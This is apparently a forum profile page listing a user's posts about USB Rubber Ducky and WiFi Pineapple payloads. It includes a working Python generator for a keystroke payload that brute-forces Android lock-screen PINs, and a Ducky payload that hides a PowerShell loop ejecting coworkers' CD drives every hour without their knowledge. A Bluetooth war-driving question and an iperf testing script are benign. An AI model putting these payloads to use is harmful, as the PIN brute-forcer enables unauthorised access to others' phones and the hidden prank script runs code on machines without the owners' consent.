Jump to content

theGANOUSH

Active Members
  • Posts

    8
  • Joined

  • Last visited

Posts posted by theGANOUSH

  1. So I have been wanting to connect a USB Bluetooth adapter to the NANO so that I can send GPS data to war-drive from my phone. I have been following the instructions outlined here: http://blog.hackedexistence.com/?p=294 When I get to the point of adding the modules to the kernel specifically when I run "insmod ./rfcomm.ko" the Pineapple crashes and reboots. Any help would be much appreciated.

    Worst case I guess I could hook up a GPS module via FTDI, but I would like the wireless aspect of it.

  2. If anyone is having problems with the bash script, I have written something similar in Python. I mostly use the Raspberry Pi to do all my encoding. This script will inject 20 of the most common pin codes first, and then brute force afterwards.

    #!/usr/bin/python
    
    defaultList = ['1234', '1111', '0000', '1212', '7777', '1004', '2000', '4444', '2222', '6969', '9999', '3333', '5555', '6666', '1122', '1313', '8888', '4321', '2001', '1010'];
    	
    def main():
    	fileOpen = open("android_payload.txt", "w+")
    	fileOpen.write("DELAY 5000\n")
    	
    	for x in defaultList:
    		fileOpen.write("STRING %s\n" % x);
    		fileOpen.write("ENTER\nDELAY 500\n")
    		
    	for w in range(0,10):
    		for z in range(0,10):
    			for y in range(0,10):
    				for x in range(0,10):
    					fileOpen.write("STRING %d%d%d%d\n" % (w,z,y,x))
    					if (x % 2) == 0:
    						fileOpen.write("ENTER\n")
    					fileOpen.write("ENTER\nDELAY 500\n")
    					
    		 
    	fileOpen.close()
    
    main()
    
    
    • Upvote 2
  3. Doesn't seem to work on my pc. Maybe because I have more than one optical drive?

    I tested this on a ASUS Windows 8.1 laptop and a Dell Optiplex with two disk drives. When it ran on the Optiplex it would eject both. Are your optical drives external? Also, I would adjust the if condition to something that would occur more often then at the start of every hour to troubleshoot. If you adjust the Start-Sleep -s 60 to something less than 60, it will check the time more often and possibly catch the correct run time.

    I am having a hard time with Notepad and saving to Bin file? if i use the online it kinda works, what am I missing. notepad does bin conversions right>?

    I use the Duckencode.jar to generate the bin file.
  4. placeholder

    This payload will automatically eject all the CD trays to the target system at the beginning of every hour. The way I go about this is to create a powershell script from command line and then execute to as a background process with the "powershell -windowstyle hidden" command.

    I can see a lot of potential in having this run at startup, but I had a wave of mercy when I wrote the script.

    Enjoy

    REM Name: Poltergeist
    REM Author: theGANOUSH
    REM Purpose: To mess with my coworkers by forcing their CD drives to open at the start of every hour.
    REM The PowerShell code was found and modified from: http://powershell.com/cs/blogs/tips/archive/2009/04/24/ejecting-cds.aspx
    REM Open Command Prompt & Navigate to %temp%
    DELAY 5000
    DELAY 10000
    GUI r
    DELAY 300
    STRING cmd.exe
    ENTER
    DELAY 300
    STRING CD %temp%
    ENTER
    REM Create PowerShell Script
    STRING copy con Poltergeist.ps1
    ENTER
    STRING Do
    ENTER
    STRING {
    ENTER
    STRING $minute = Get-Date -UFormat "%M"
    ENTER
    STRING If($minute -eq "00")
    ENTER
    STRING {
    ENTER
    STRING    $Drives = Get-WmiObject Win32_Volume -Filter "DriveType=5" | select -exp DriveLetter
    ENTER
    STRING foreach($Drive in $Drives)
    ENTER
    STRING {
    ENTER
    STRING Invoke-Command -ScriptBlock {
    ENTER
    STRING param($Drive)
    ENTER
    STRING  $Drive
    ENTER
    STRING  $sa = New-Object -comObject Shell.Application
    ENTER
    STRING  $sa.Namespace(17).parseName($Drive)
    ENTER
    STRING  $sa.Namespace(17).ParseName("$Drive").InvokeVerb("Eject")
    ENTER
    STRING } -ArgumentList $Drive
    ENTER
    STRING }
    ENTER
    STRING }
    STRING Start-Sleep -s 60
    ENTER
    STRING }
    ENTER
    STRING until(1 -gt 5)
    ENTER
    CONTROL z
    ENTER
    REM and execute for effect...
    STRING powershell -windowstyle hidden -file .\Poltergeist.ps1
    ENTER
    
    
  5. Sometimes you have to do a lot of network testing, and that can be a real pain if you have to sneaker-net the code everywhere.

    I have written the following script to using a network share with read and write permissions.

    DEFAULT_DELAY 75
    DELAY 3000
    GUI R
    DELAY 1000
    STRING cmd.exe
    ENTER
    DELAY 500
    REM Change directory to TEMP 
    STRING CD %TEMP%
    ENTER
    DELAY 500
    REM Copy files down from network share
    STRING xcopy "\\network_share\COPY_FILES\iperf" /i /Y
    ENTER
    DELAY 1000
    REM Run Iperf with as needed switches and output to file
    STRING iperf.exe -c <IpaddressofServer> -w 8k > \\network_share\PERFORMANCE_FILES\IPERF\%username%-%computername%.txt
    ENTER
    
    
×
×
  • Create New...